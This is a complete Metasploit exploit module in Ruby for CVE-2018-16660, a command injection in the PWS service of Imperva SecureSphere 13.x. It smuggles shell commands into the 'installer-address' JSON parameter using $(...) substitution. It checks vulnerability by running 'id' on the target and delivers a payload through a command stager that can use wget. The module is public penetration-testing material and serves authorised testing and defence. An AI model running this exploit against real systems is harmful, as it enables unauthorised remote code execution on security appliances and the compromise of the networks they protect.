Imperva SecureSphere PWS Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Imperva SecureSphere PWS Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability in Imperva
          SecureSphere 13.x. The vulnerability exists in the PWS service,
          where Python CGIs didn't properly sanitize user supplied command
          parameters and directly passes them to corresponding CLI utility,
          leading to command injection. Agent registration credential is
          required to exploit SecureSphere in gateway mode.

          This module was successfully tested on Imperva SecureSphere 13.0/13.1/
          13.2 in pre-ftl mode and unsealed gateway mode.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rsp3ar <lukunming<at>gmail.com>' # Discovery/Metasploit Module
        ],
        'References' => [
          [ 'CVE', '2018-16660' ],
          [ 'EDB', '45542' ]
        ],
        'DisclosureDate' => '2018-10-08',
        'DefaultOptions' => {
          'SSL' => true,
          'PrependFork' => true,
        },
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'CmdStagerFlavor' => %w{echo printf wget},
        'Targets' => [
          ['Imperva SecureSphere 13.0/13.1/13.2', {}]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [false, 'Agent registration username', 'imperva']),
        OptString.new('PASSWORD', [false, 'Agent registration password', '']),
        OptString.new('TARGETURI', [false, 'The URI path to impcli', '/pws/impcli']),
        OptInt.new('TIMEOUT', [false, 'HTTP connection timeout', 15])
      ]
    )
  end

  def check
    begin
      res = execute_command('id')
    rescue => e
      vprint_error("#{e}")
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /uid=\d+/
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    print_status("Sending payload #{datastore['PAYLOAD']}")
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    data = {
      'command' => 'impctl server status',
      'parameters' => {
        'broadcast' => true,
        'installer-address' => "127.0.0.1 $(#{cmd})"
      }
    }

    res = send_request data

    return unless res

    if res.code == 401
      fail_with(Failure::NoAccess, 'Authorization Failure, valid agent registration credential is required')
    end

    unless res.code == 406 && res.body.include?("impctl")
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    res
  end

  def send_request(data)
    req_params = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'data' => data.to_json
    }

    if !datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?
      unless @cookie
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('/')
        })
        unless res
          fail_with(Failure::Unreachable, "#{peer} - Connection failed")
        end

        @cookie = res.get_cookies
      end

      req_params['cookie'] = @cookie
      req_params['headers'] = {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    end

    send_request_cgi(req_params, datastore['TIMEOUT'])
  end
end